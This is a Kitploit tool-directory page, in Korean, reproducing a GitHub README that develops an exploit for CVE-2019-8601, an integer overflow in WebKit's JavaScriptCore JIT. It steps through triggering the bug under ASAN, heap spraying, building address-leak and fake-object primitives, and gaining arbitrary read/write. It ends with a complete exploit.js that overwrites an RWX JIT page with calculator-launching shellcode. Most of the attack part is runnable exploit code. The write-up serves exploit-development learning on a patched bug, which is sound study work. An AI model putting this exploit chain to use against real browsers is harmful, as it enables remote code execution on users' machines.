Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-8601 — JavaScriptCore의 패치된 취약점 악용 | Kitploit
도구/GitHubGitHub/badaccess11/cve-2019-8601
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubbadaccess11/cve-2019-8601

CVE-2019-8601

JavaScriptCore의 패치된 취약점 악용

저장소 보기
1736년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-8601 악용

이것은 원래 밴쿠버에서 열린 pwn2own 대회에서 Fluoroacetate가 발견한 WebKit 취약점에 대한 익스플로잇입니다. 제가 이 버그를 발견한 것은 아니지만, 익스플로잇 개발 기술을 연습하기 위해 이 익스플로잇을 작성했습니다. 이 익스플로잇에 대한 원본 분석 글은 Zero Day Initiative의 여기에 있습니다. 이 분석 글은 매우 훌륭하고 취약점을 이해하는 데 큰 도움이 되었지만, 취약점을 검증하는 사람의 관점에서 작성되었습니다. 처음부터 이 익스플로잇을 설계하려고 할 때 몇 가지 핵심 세부 사항이 누락되어 있음을 발견했고, ZDI 분석 글에서 놓친 부분을 채우고 복잡한 익스플로잇을 처음부터 설계하는 방법에 대한 실용적인 기술을 얻고자 합니다.

익스플로잇 단계

다음 단계는 JavaScriptCore(JSC) 내에서 임의 코드 실행을 달성하기 위한 개요입니다.

  • 취약점 식별
  • ASAN을 활성화한 상태에서 취약점 트리거 및 크래시
  • leakAddr 및 fakeObj 프리미티브 획득
  • 읽기 및 쓰기 프리미티브를 얻기 위해 배열 butterfly 손상
  • 읽기 및 쓰기 프리미티브를 사용하여 JSC 내에서 임의 코드 실행 달성

취약점 식별

악용될 취약점은 WebKit의 DFG JIT(Just-In-Time) 컴파일러가 생성한 코드에서 발생하는 정수 오버플로입니다. 이는 특히 compileNewArrayWithSpread 함수에서 발생합니다. 이 함수는 JavaScript 전개 구문을 사용하여 새 배열을 생성하는 코드가 DFG에 의해 JIT 컴파일될 때 호출됩니다.

compileNewArrayWithSpread

JIT 컴파일된 코드 내에서는 먼저 배열의 크기를 계산합니다. 이는 배열 생성자에 전달된 각 인수의 길이를 더하여 수행됩니다. 각 덧셈에 대한 크기를 계산하면서 크기의 오버플로를 확인합니다. 그런 다음 이 함수에서 계산된 길이를 전달하여 compileAllocateNewArray 함수를 호출합니다.

compileAllocateNewArrayWithSize

compileAllocateNewArray는 이전에 계산된 길이를 emitAllocateButterfly에 전달합니다.

emitAllocateButterfly

emitAllocateButterfly는 크기를 3비트 왼쪽 시프트하는데, 이는 8을 곱하는 것과 같습니다. 그러나 오버플로 확인이 없으므로 0x20000001과 같은 숫자가 0x8로 오버플로될 수 있습니다.

다음 C 프로그램은 이 취약점을 보여줍니다:

overflow-example2

overflow-example

이 취약점을 사용하여 JavaScript 엔진이 크기 0x20000001의 배열을 할당했다고 속일 수 있지만 실제로는 1개의 JSValue(8바이트)에 대한 공간만 할당됩니다. 이로 인해 경계를 벗어난(OOB) 읽기 및 쓰기(R/W) 프리미티브가 발생하며, 이를 활용하여 임의 R/W를 달성하고 최종적으로 원격 코드 실행(RCE)을 달성할 수 있습니다.

  • 취약점 식별

ASAN을 사용한 취약점 트리거

OOB 읽기가 발생하는 것을 확인하기 위해 JSC의 AddressSanitizer(ASAN) 빌드에서 이 취약점을 트리거해 보겠습니다.

이를 위해 WebKit 디렉터리에서 다음 명령을 실행할 수 있습니다:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug

root@kitploit:~
이것은 ASAN이 활성화된 JSC의 디버그 빌드를 빌드하여 취약점을 성공적으로 트리거했는지 여부를 확인할 수 있게 합니다.

다음은 exploit.js의 첫 번째 버전입니다.```javascript
function jitMe(array){
  return [...array]
}

let dummy = [1.1]
for(let i = 0; i < 200; i++){
  jitMe(dummy);
}

let a = []

let len = 0x20000001                                                                     

for(let i = 0; i < len; i++){
  a[i] = 1.1 
}

jitMe(a)

이것을 실행하면 다음과 같은 오류가 발생합니다:

Program terminated with signal SIGKILL, Killed. The program no longer exists.

제 추측으로는 너무 큰 배열을 할당하려고 할 때 너무 많은 메모리가 소비되었기 때문입니다. 이를 확인하기 위해 compileNewArrayWithSpread 내부에 m_jit.breakpoint() 호출을 추가하여 JIT 컴파일된 코드에 중단점을 추가했습니다. 이는 JIT 컴파일된 코드에 int3 명령어를 추가하는 역할을 합니다.

중단점을 추가한 후에도 해당 중단점이 적중되지 않는다는 것을 발견했고, 그런 다음 길이 0x20001을 테스트하기로 결정했습니다. 그 후 코드가 전혀 컴파일되지 않고 있다는 것을 깨달았기 때문에 DFG 컴파일러를 활성화하기 위해 반복 횟수를 더 추가했습니다.```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }

let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000001

for(let i = 0; i < len; i++){ a[i] = 1.1 }

jitMe(a)

root@kitploit:~
프로그램을 그대로 테스트하면 여전히 SIGKILL이 발생하지만, 더 작은 길이로 테스트하면 중단점이 적중됩니다. 이 시점에서 JSC가 거대한 배열을 처리하려 할 때 메모리가 부족한 것으로 보입니다.

이 문제를 해결하기 위해 더 작은 `a` 배열을 할당하고, 전개 구문을 사용하여 손상된 배열을 생성할 때 이를 여러 번 사용하여 다음과 같은 exploit.js를 만들기로 결정했습니다.```
function jitMe(array){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}

let dummy = [1.1]
for(let i = 0; i < 100; i++){
  print(i)
  jitMe(dummy);
}

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){
  a[i] = 1.1
}

jitMe(a)

이 코드를 사용하여 SIGKILL 없이 중단점에 도달할 수 있었습니다! 보통 그렇듯이, 한 문제를 해결하면 또 다른 문제가 발생하는데, 이번에는 SIGABORT가 발생했습니다... gdb의 bt 명령어를 사용하면 operationNewArrayWithSize가 호출되었고, 이어 create가 호출된 것을 확인할 수 있습니다.backtrace1

JIT 컴파일된 코드가 operationNewArrayWithSize를 호출하는 것은 이상해 보이며, 어떤 이유로 JIT 코드가 JavaScript 엔진의 느린 경로(slow path)를 택해야 했을 것입니다.

slowcases

compileAllocateNewArrayWithSize에서 operationNewArrayWithSize로의 탈출(bailout)이 실제로 존재하는 것을 볼 수 있습니다. 그런 다음 정확히 왜 느린 경우로 탈출하는지 알아내야 합니다.

compileNewArrayWithSpread에서 shouldConvertLargeSizeToArrayStorage가 false로 설정되어 있으며, 느린 경로는 컴파일된 코드에 포함되지 않음을 확인할 수 있습니다.compileNewArrayWithSpread2

따라서 느린 경로가 emitAllocateJSObject 내 어딘가에서 발생하는 것이 타당합니다.

emitAllocateJSObject

emitAllocateJSObject는 emitAllocateJSCell을 호출하고, 이는 다시 emitAllocate를 호출합니다.

emitAllocate

emitAllocateWithNonNullAllocator

WebKit 할당자(Allocator)의 작동 방식을 모르면 이는 상당히 혼란스러워 보입니다. 따라서 저는 몇 개의 중단점을 추가하고 gdb에서 단계별로 실행해보기로 결정했습니다.

emitAllocateButterfly에 의해 호출된 emitAllocateVariableSized에 설정된 중단점에 도달한 후, 다음과 같은 어셈블리 코드를 보게 됩니다:assemblyEmitAllocateVariableSized

이는 JIT 컴파일러가 여기서 생성한 코드에 해당합니다:emitAllocateVariableSized

할당 크기에 0xf를 더한 후 오른쪽으로 4비트 시프트하는 것을 볼 수 있습니다. 그런 다음 느린 경로 분기에 해당하는 0x1f6과 비교됩니다. 이후 서브스페이스 할당자(subspace allocator)를 rsi로 이동시키고, 수행된 계산을 기반으로 이 포인터를 인덱싱합니다. 그런 다음 emitAllocateWithNonNullAllocator에 배치된 중단점으로 계속 이동하여 다음 어셈블리 코드를 확인합니다:

assemblyEmitAllocateWithNonNullAllocator.png

이는 JIT 컴파일러가 여기서 생성한 코드에 해당합니다:emitAllocateWithNonNullAllocator

이제 어셈블리의 일부를 단계별로 실행했으므로 무슨 일이 일어나고 있는지 조금 더 맥락을 알게 되었습니다. 두 개의 명령어를 더 진행하면 점프를 수행할 것임을 확인합니다:

stepFoward2

C++ 코드를 살펴보면 이는 이 할당자의 빈 리스트(free list)에 남은 공간이 없음을 의미하며, 따라서 팝(pop) 경로를 택할 것임을 추론할 수 있습니다.

jumpPerformed

점프를 수행하고 다음 두 명령어를 실행하면 점프가 수행되어 느린 경로를 직접 택하는 것을 확인할 수 있습니다. 할당자의 비밀(secret)이 할당자의 스크램블된 헤드(scrambled head)와 XOR되어 결과가 0이기 때문에 느린 경로를 택합니다. WebKit 할당자에 대한 더 이상의 지식 없이는 정확히 무슨 일이 일어나고 있는지 파악하기 어렵습니다.

WebKit 할당자에 대해 더 많은 시간을 할애하고 싶지만, 이를 해결하는 더 쉬운 방법은 몇 가지 아이디어를 시도해보고 다른 결과가 나오는지 확인한 후 그로부터 디버깅하는 것이라고 생각했습니다.

제가 생각한 아이디어 중 하나는 크기가 0x10인 배열을 할당하는 것입니다. 이 배열은 취약점을 트리거할 배열과 동일한 할당 단계 크기에 있을 것이며, 그런 다음 크기가 1인 배열로 jitMe를 호출하는 것입니다. 할당자의 주소를 알고 있으므로 분기로 이어지는 값에 워치포인트(watch point)를 설정하고 값이 변경되는 시점을 확인할 수 있습니다. 이 아이디어를 떠올린 이유는 동일한 단계 크기에 있는 객체를 할당하면 할당자가 더 흥미로운 다른 상태로 이끌릴 수 있기 때문입니다. 이는 exploit.js의 다음 반복으로 이어집니다.```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array] }

let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){ a[i] = 1.1 }

let x = new Array(0x10) let b = [1.1]

jitMe(b)
jitMe(a)

root@kitploit:~
이 아이디어를 테스트한 결과 작동했습니다!!![worked!](https://assets.kitploit.com/production/public/readmes/15542/05b994ba516d740408e446b0607e913623d257b6a0994ff6da314c3cbd93c484.png)

작은 배열에서 `jitMe`를 테스트할 때 느린 경로를 사용하지 않는 것을 볼 수 있습니다! 그런 다음 r8 + 0x18에 워치포인트를 설정하여 이 값이 0으로 설정되는 시점을 확인합니다. 워치포인트에 도달한 후 다음과 같은 역추적을 얻습니다.

![watchpoint](https://assets.kitploit.com/production/public/readmes/15542/2ef7158ff792a2cdc12b883671e2ea9ab3d00893fb0c2a56f706040d3ba90563.png)

역추적에 있는 함수 이름을 보면 가비지 컬렉션이 수행되어 `secret` 및 `scrambledHead` 값이 0으로 설정되는 것으로 보입니다.

호출 스택을 기반으로 `createFromArray`의 `tryCreate` 호출이 가비지 컬렉션을 시작하는 책임이 있음을 알 수 있습니다.

![TryCreate](https://assets.kitploit.com/production/public/readmes/15542/13ab70debb8103d94fd04c6f4c352153f0096f797c089cc6bb957527842aca78.png)

`createFromArray` 내부에서는 각 요소를 반복하며 접근하고, 호출을 가로채서 할당자를 다시 초기화할 수 있다면 느린 경로를 사용하지 않도록 막을 수 있습니다.

exploit.js:``` 
function jitMe(array, reInitAllocator){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

let dummy = [1.1]
for(let i = 0; i < 80; i++){
  jitMe(dummy, dummy);
}

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){
  a[i] = 1.1
}

let b = [];
b.length = 1;

b.__defineGetter__(0, () => {
  let x = new Array(0x10)
})

jitMe(a, b)

ASAN 오류가 발생합니다!asan

  • 취약점을 트리거하고 ASAN이 활성화된 상태에서 충돌 발생

중첩 할당을 얻기 위한 힙 스프레이

이제 취약점을 안정적으로 트리거할 수 있게 되었으므로, OOB R/W 원시 기능을 사용하여 메모리를 더 손상시키고 타입 혼동 원시 기능을 얻고자 합니다. 첫 번째 단계는 ASAN을 비활성화한 상태로 JSC를 재컴파일하는 것입니다. 이 작업을 마친 후 exploit.js를 다시 실행하면 다음과 같은 충돌이 발생합니다.

sucess!

python struct 모듈을 사용하여 부동소수점 값 1.1을 바이트로 변환하면 정확히 예상한 대로 0x3ff299999999999a를 얻습니다. struct

이제 메모리 손상을 달성했음을 알 수 있으므로, 이를 타입 혼동으로 전환하기 위해 힙을 조작해야 합니다. 아이디어는 ArrayWithDoubles와 ArrayWithContiguous 배열을 다수 스프레이하여 butterfly의 길이를 손상시켜 이러한 배열로 경계를 벗어난 접근을 달성하고 타입 혼동을 얻는 것입니다. 충분한 배열을 할당하면 경계를 벗어난 접근이 중요한 값을 손상시키는 것을 방지할 수 있기를 바랍니다.``` function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator] }

print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }

let b = []; b.length = 1;

let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }

// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }

b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b)

root@kitploit:~
이러한 배열들을 스프레이한 후에는 `badArray`의 데이터로 덮어쓰여집니다. 이렇게 하면   경계를 벗어난 쓰기 후에도 세그먼트 오류가 발생하지 않습니다. 손상 가능한 배열을 얻으려면 세 개의 배열을 더 할당할 수 있습니다. ArrayWithDouble, 그 다음 ArrayWithContiguous, 그 다음 ArrayWithDouble 순서입니다. 배열을 손상시킨 후에는 ArrayWithContiguous에 객체를 쓰고 ArrayWithDouble에서 읽어와 타입 혼동을 일으켜 주소를 읽을 수 있습니다. 또한, 두 번째 ArrayWithDouble에 주소를 쓰고 ArrayWithContiguous에서 읽어와 지정된 주소에 가짜 객체를 얻을 수 있습니다.

이를 구현하면 다음과 같습니다:```
function jitMe(array, reInitAllocator){                                                                                            
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
  jitMe(dummy, dummy);
}

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
  a[i] = -3.7206620809969885e-103;
}

let b = [];
b.length = 1;

let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
  arrayWithDouble[i] = 2.0286158381253047e-252
}

// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
  arrayWithContiguous[i] = {}
}

b.__defineGetter__(0, () => {
  for(let i = 0; i < 0x8000; i++){
    // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
    if(i % 2 == 0){
      // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
      sprayedArrays[i] = arrayWithDouble.slice();
    }else{
      sprayedArrays[i] = arrayWithContiguous.slice();
    }
  }
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice(); 
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice(); 

// helper arrays to do float and integer conversions
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)

function i2f(num) {
  i[0] = num % 0x100000000
  i[1] = num / 0x100000000
  return f[0]
}

function f2i(num) {
  f[0] = num
  return (i[1] * 0x100000000) + i[0]
}

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;

function leakAddr(obj) {
  sprayedArrays[1][0] = obj;
  let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
  return f2i(floatAddr);
}

function fakeObj(addr) {
  let floatAddr = i2f(addr)
  sprayedArrays[2][0] = floatAddr
  return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}

  • leakAddr 및 fakeObj 프리미티브 획득

임의 읽기/쓰기 프리미티브 획득

이제 가짜 객체와 주소 누출 프리미티브가 있으므로 다음 목표는 임의 읽기/쓰기 프리미티브를 달성하는 것입니다. 일반적인 전략은 가짜 객체를 만들고 butterfly를 ArrayWithDouble의 butterfly로 가리킨 다음 이 butterfly에 읽거나 쓰려는 주소를 쓰는 것입니다. 이 기술은 원본 익스플로잇에서 사용되었으며 saelo가 이 문서에서 언급했습니다.

그러나 이 작업을 수행하기 전에 예상치 못한 오류가 발생했습니다. 익스플로잇에 일정량의 코드를 추가한 후 취약점 트리거가 작동하지 않고 느린 경로에 도달하여 메모리 부족 예외가 발생한다는 것을 발견했습니다.

이 문제를 해결하기 위해 실행할 코드를 문자열로 처리하고 JavaScript eval 함수를 호출할 수 있다는 것을 발견했습니다. 어떤 이유에서인지 이 방법으로 문제를 우회할 수 있었습니다.

가짜 객체를 설정하려면 유효한 구조 ID가 필요합니다. 이를 위해 여러 구조 ID를 스프레이하고 우리의 구조 ID를 예측 가능한 구조 ID로 설정합니다.

ArrayWithDouble의 butterfly를 덮어쓰려면 대상 butterfly를 인덱싱할 수 있어야 합니다. 이를 위해 주소가 스프레이된 구조 ID 배열의 중간 요소 주소보다 커질 때까지 배열을 계속 할당합니다. 그런 다음 가짜 객체의 butterfly를 이 중간 요소로 설정하고 가짜 객체 butterfly를 인덱싱하여 대상 butterfly를 설정합니다.``` function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator] }

print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }

let b = []; b.length = 1;

let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }

// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }

b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice();

//eval this code indirectly to prevent weird slow path crash let postTrigger = ` // helper arrays to do float and integer conversions var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer)

function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] }

function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] }

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH;

function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); }

function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } / print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = []

for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; }

print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};

// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target)

while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) }

// make sure target is ArrayWithDouble target[1] = 1.1

print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr)

let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16))

function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) }

print("[+] Got R/W primitive") `

eval(postTrigger)

root@kitploit:~
- [x] 배열 버터플라이를 손상시켜 읽기 및 쓰기 프리미티브를 획득

### 렌더링 프로세스 내 임의 코드 실행 달성

이제 읽기/쓰기 프리미티브를 확보했으므로, JIT 페이지를 커스텀 셸코드로 덮어쓰기만 하면 됩니다. 우리는 JIT 페이지를 덮어쓰는데, 이는 프로세스에서 RWX로 매핑될 가능성이 가장 높은 메모리 영역이기 때문입니다. ROP 체인과 스택 피벗을 수행하여 메모리 영역을 RWX로 매핑하고 셸코드를 실행하는 대신, 이 방법이 훨씬 간단하다는 것이 입증됩니다.

JIT 페이지를 덮어쓰기 위해서는 먼저 JIT된 함수가 필요합니다. 저는 취약점을 트리거하는 데 사용한 `jitMe` 함수를 선택했습니다. 여기서부터 gdb를 사용하여 이 객체의 포인터를 따라 JIT된 코드가 저장된 메모리에 도달했습니다. 이러한 포인터 오프셋은 이 특정 WebKit 버전에 매우 의존적이며, 향후 변경될 가능성이 높다는 점에 유의해야 합니다. 여러 WebKit 버전에서 작동하도록 설계된 익스플로잇을 작성할 때 이에 의존해서는 안 됩니다.

JIT 페이지에 대한 포인터를 찾은 후에는 계산기를 팝업하는 셸코드를 작성해야 합니다. 이 셸코드는 다음과 같습니다:

![shellcode](https://assets.kitploit.com/production/public/readmes/15542/13047bf6155bec046fb0362984aa037f26a004ffd86d5aee3984c91a9f6f7ec6.png)

그런 다음 셸코드를 어셈블하고, 바이트를 추출한 후, 우리의 읽기/쓰기 프리미티브를 사용하여 쓸 수 있는 부동소수점 숫자로 변환해야 합니다.

이로써 최종 exploit.js가 완성됩니다:```
function jitMe(array, reInitAllocator){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
  jitMe(dummy, dummy);
}

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
  a[i] = -3.7206620809969885e-103;
}

let b = [];
b.length = 1;

let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
  arrayWithDouble[i] = 2.0286158381253047e-252
}

// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
  arrayWithContiguous[i] = {}
}

b.__defineGetter__(0, () => {
  for(let i = 0; i < 0x8000; i++){
    // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
    if(i % 2 == 0){
      // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
      sprayedArrays[i] = arrayWithDouble.slice();
    }else{
      sprayedArrays[i] = arrayWithContiguous.slice();
    }
  }
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)


// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();

// helper arrays to do float and integer conversions

let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)

function i2f(num) {
  i[0] = num % 0x100000000
  i[1] = num / 0x100000000
  return f[0]
}

function f2i(num) {
  f[0] = num
  return (i[1] * 0x100000000) + i[0]
}

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;

function leakAddr(obj) {
  sprayedArrays[1][0] = obj;
  let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
  return f2i(floatAddr);
}

function fakeObj(addr) {
  let floatAddr = i2f(addr)
  sprayedArrays[2][0] = floatAddr
  return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []

for(let x = 0; x < 0x400; x++){
  let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
  struct['addNewStructureId'+x] = 0x1337
  sprayedStructureIDs[x] = struct;
}

print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};

// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)

while(targetAddr < baseAddr){
  target = []
  targetAddr = leakAddr(target)
}

target[1] = 1.1

print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)

let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))

function setTargetButterfly(address) {
  hax[targetButterflyIndex] = i2f(address)
}

print("[+] Got R/W primitive")

var myJitAddr = leakAddr(jitMe)

setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])

print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229

print("[+] Executing Shellcode...")

jitMe([13.37],[13.37])
`

eval(postTrigger)                 

마지막으로, 익스플로잇이 작동하는 영상입니다!

결론

